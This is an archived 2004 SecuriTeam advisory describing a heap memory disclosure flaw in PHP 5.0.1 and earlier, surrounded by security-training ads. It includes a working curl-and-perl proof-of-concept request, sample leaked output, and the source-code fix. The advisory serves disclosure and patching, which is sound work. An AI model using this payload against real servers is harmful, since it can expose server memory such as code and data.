Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] PHP Array Heap Content Disclosure

Subject: [UNIX] PHP Array Heap Content Disclosure
Date: 2 Nov 2004 17:42:59 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  PHP Array Heap Content Disclosure
------------------------------------------------------------------------


SUMMARY

Due to bad array parsing in php_variables.c a remote attacker can cause 
the PHP engine to disclose arbitrary memory content such as pieces of PHP 
code and other data. This affects GET, POST or COOKIES variables.

DETAILS

Vulnerable Systems:
 * PHP version 5.0.1 and prior

Immune Systems:
 * PHP version 4.1.2 and prior

By appending to a GET/POST/COOKIE variable array a [ (open square bracket) 
like abc[a][, the length of the 'a' array element is set to the length of 
variable name strlen("abc").

Exploit:
$ curl  "http://www.example.com/phpinfo.php"; -d `perl -e 'print 
"f"x100;print "[g][=1"'`

where phpinfo.php is:
<?
phpinfo();
?>

or you can point to some PHP file containing print_r function:
<?
print_r($_REQUEST);
?>

Will result in the following content returning:
  Array
(
    [ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
      ffffffffffffffffffffffffffffffffffffffff] => Array
        (
           
[g\0_\0123\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
\0\0\0\0\0\0] => 1
        )
)

As probably you might have noticed all the garbage shown is memory content 
that could be anything.

Solution:
Authors were contacted and they released a fix for this problem.

The problem is easy to fix. Find and replace around line 136 for php 5.0.1 
in main/php_variables.c
from:
index_len = var_len = strlen(var);
a
To:
index_len = var_len = strlen(index);

and recompile again.


ADDITIONAL INFORMATION

The information has been provided by  <mailto:stefano.dipaola@wisec.it> 
Stefano Di Paola.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] PHP Array Heap Content Disclosure, SecuriTeam <=